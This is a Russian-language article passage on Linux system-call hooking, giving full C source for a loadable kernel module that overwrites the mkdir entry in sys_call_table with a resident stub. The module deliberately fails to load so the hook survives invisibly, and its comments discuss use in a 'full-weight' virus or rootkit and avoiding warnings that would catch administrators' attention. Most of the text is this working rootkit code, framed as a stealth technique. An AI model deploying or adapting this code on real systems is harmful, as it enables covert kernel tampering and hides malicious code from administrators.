механизм реализации системных вызовов в LINUX
В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье "прятки в linux". Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir(), и напишем несколько сток кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все про все понадобиться менее десяти строк на языке Си! (краткость — сестра таланта).
Предлагаемый вариант реализации выглядит так:
// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__
// подключаем заголовочный файл для модулей
#include <linux/module.h>
// на многоЦП'шных машинах подключаем еще и smp_lock.h
#ifdef __SMP__
#include <linux/smp_lock.h>
#endif
// подключаем файл syscall.h, в котором перечислены все
// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)
#include <sys/syscall.h>
// не нужно использовать linux/malloc.h, чтобы не ругался
// компилятор, вместо этого возьмем linux/mm.h
// #include <linux/malloc.h>
#include <linux/mm.h>
// заглушка на функцию SYS_mkdir, всегда возвращающая -1,
// т.е. блокирующая всякую попытку создания директории с
// сообщением об ошибке ;) естественно, в "полновестном"
// вирусе или rootkit'е здесь должен быть обработчик,
// передающий управление оригинальному системному вызову
thunk_mkdir()
{
return
-1; // директория не создается ;-)
}
// чтобы определить длину функции thunk_mkdir,которую мы
// собираемся копировать в выделенный блок памяти, будем
// исходить из того факта,что порядок объявления функций
// в файле совпадет с их размещением в памяти,(в 99% все
// именно так и происходит!), тогда нам останется только
// разместить фиктивную функцию за концом настоящей и...
// вычислить разницу указателей. то есть, условно говоря
// size of(thunk_mkdir) = thunk_end - thunk_mkdir.
// внимание! это работает не на всех платформах!!!
thunk_end()
{
return
0x666; // thunk_end никогда не вызывается
}
// объявляем внешнюю переменную, указывающую на таблицу
// системных вызов sys_call_table
extern void *sys_call_table[];
// объявляем функцию,в которую будет записан указатель
// на оригинальный системный вызов old_mkdir (в данном
// случае он _никак_ не используется)
int (*old_mkdir)();
// объявляем функцию,в которую будет записан указатель
// на резидентный код thunk_mkdir, остающийся в памяти
// даже после выгрузки модуля
int (*new_mkdir)();
// EntryPoint: стартовая функция модуля, ответственная
// за его инициализацию и возвращающая 0 (при успешной
// инициализации) и -1 (если в ходе инициализации были
// зафиксированы неустранимые ошибки), и в этом случае
// модуль не загружается.
int init_module(void)
{
// выделяем одну страницу ядерной памяти
new_mkdir = (void*) __get_free_page(GFP_KERNEL);
// проверяем успешность выделения памяти
if (!new_mkdir) return -1 | printk("mem error!\n");
// определяем адрес оригинального вызова SYS_mkdir
// (в данной версии модуля никак не используется!)
old_mkdir=sys_call_table[SYS_mkdir];
// копируем резидентный код нового SYS_mkdir в блок
// памяти, выделенный вызовом __get_free_page
memcpy(new_mkdir,thunk_mkdir,thunk_end-thunk_mkdir);
// модифицируем таблицу системных вызовов, заменяя
// старый вызов mkdir на новую процедуру-заглушку
sys_call_table[SYS_mkdir]=new_mkdir;
// выводим отладочное сообщение, что все ОК
printk("SYS_mkdir is now hooked!\n");
// возвращаем ошибку, предотвращая загрузку модуля
// (но оставляя резидентный код в памяти)
return -1;
}
// пристыковываем лицензию, по которой распространяется
// данный файл, если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warring,
// сохраняющийся в логах и привлекающий внимание админов
MODULE_LICENSE("GPL");